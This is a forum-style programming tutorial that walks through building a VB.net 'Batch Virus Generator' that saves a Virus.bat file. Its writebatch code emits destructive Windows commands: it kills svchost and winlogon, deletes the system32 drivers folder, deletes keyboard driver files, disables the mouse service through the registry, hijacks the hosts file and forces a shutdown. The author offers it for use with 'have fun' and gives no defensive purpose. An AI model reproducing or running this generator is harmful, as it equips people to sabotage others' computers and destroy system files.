How to make a Batch Virus Generator [VB.net]

Ok im going to expect you guys know how to create a new windows form application, and the basics of the program.
So create a form design like this picture.
[Image: form1.png]

STARTING CODE

Code:
Public Class Form1

End Class

= = = = = = = = = = = = = = = = = = = =

DEFINING THE CHECKBOXES
We are defining the checkboxes to easy words which are short and easy to remember for later.
We define them as Boolean as checkboxes are either True or False.

Code:
Public Class Form1
    Dim blockurl As Boolean
    Dim loadurl As Boolean
    Dim mesgbox As Boolean
    Dim shutdown As Boolean
    Dim bsof As Boolean
    Dim dmouse As Boolean
    Dim dkeyboard As Boolean
End Class

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX1 IS CHANGED
When the check state of checkbox1 is changed, this sub is looked at.
We then check if checkbox1 is checked, if it is, we put loadurl to true.
If it isn't, then we put it to false.

Code:
Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
        If CheckBox1.Checked = True Then
            loadurl = True
        Else
            loadurl = False
        End If
    End Sub

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX2 IS CHANGED
The rest of the checkboxes are basically the same as the first, so it should be easy to figure out.

Code:
Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged
        If CheckBox3.Checked = True Then
            blockurl = True
        Else
            blockurl = False
        End If
    End Sub

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX2 IS CHANGED

Code:
Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged
        If CheckBox2.Checked = True Then
            mesgbox = True
        Else
            mesgbox = False
        End If
    End Sub

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX4 IS CHANGED

Code:
Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged
        If CheckBox4.Checked = True Then
            shutdown = True
        Else
            shutdown = False
        End If
    End Sub

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX5 IS CHANGED

Code:
Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged
        If CheckBox5.Checked = True Then
            bsof = True
        Else
            bsof = False
        End If
    End Sub

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX6 IS CHANGED

Code:
Private Sub CheckBox6_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox6.CheckedChanged
        If CheckBox6.Checked = True Then
            dmouse = True
        Else
            dmouse = False
        End If
    End Sub

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX7 IS CHANGED

Code:
Private Sub CheckBox7_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox7.CheckedChanged
        If CheckBox7.Checked = True Then
            dkeyboard = True
        Else
            dkeyboard = False
        End If
    End Sub

= = = = = = = = = = = = = = = = = = = =

WRITING THE BATCH FILE
This is the most important part of the project, or otherwise known as where the magic happens. Its pretty simple if you look over it. If you dont understand it dont worry.

Code:
Public Sub writebatch()
        TextBox1.Text = "@echo off" + vbNewLine

        If loadurl = True Then
            TextBox1.Text = TextBox1.Text + "start " + TextBox2.Text + vbNewLine + vbNewLine
        End If

        If blockurl = True Then
            TextBox1.Text = TextBox1.Text + "cd ""C:\Windows\System32\Drivers\etc""" + vbNewLine + "echo 127.0.0.1 " + TextBox4.Text + ">> ""Hosts""" + vbNewLine + "echo 127.0.0.1 " + TextBox4.Text + ">> ""Hosts""" + vbNewLine + vbNewLine
        End If

        If mesgbox = True Then
            TextBox1.Text = TextBox1.Text + "msg * " + TextBox3.Text + vbNewLine + vbNewLine
        End If

        If shutdown = True Then
            TextBox1.Text = TextBox1.Text + "SHUTDOWN -s -t " + NumericUpDown1.Value.ToString + vbNewLine + vbNewLine
        End If

        If bsof = True Then
            TextBox1.Text = TextBox1.Text + "tskill /A svchost*" + vbNewLine + "tskill /A winlogon*" + vbNewLine + "tskill /A winlogon*" + vbNewLine + "del ""C:\WINDOWS\system32\drivers""" + vbNewLine + vbNewLine
        End If

        If dmouse = True Then
            TextBox1.Text = TextBox1.Text + "set key=""""HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass""""" + vbNewLine + "reg delete %key%" + vbNewLine + "reg add %key% /v Start /t REG_DWORD /d 4" + vbNewLine + vbNewLine
        End If

        If dkeyboard = True Then
            TextBox1.Text = TextBox1.Text + "del %C:\WINDOWS\system\keyboard.drv%" + vbNewLine + "del %C:\WINDOWS\system32\keyboard.sys%" + vbNewLine + vbNewLine
        End If

    End Sub

= = = = = = = = = = = = = = = = = = = =

WHEN BUTTON2 (PREVIEW) IS CLICKED
The preview is the simplest command we have on the project other than defining the checkboxes. It basically tells the program to add the options we have chosen to textbox1.

Code:
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        writebatch()
    End Sub

= = = = = = = = = = = = = = = = = = = =

WHEN BUTTON1 (SAVE) IS CLICKED
This code saves the file as Virus.bat in the same location as the generator.
Thats it, have fun.

Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        writebatch()
        If My.Computer.FileSystem.FileExists("Virus.bat") Then
            My.Computer.FileSystem.DeleteFile("Virus.bat")
        End If
        My.Computer.FileSystem.WriteAllText("Virus.bat", TextBox1.Text, True)
        msgbox("Saved!")
End Sub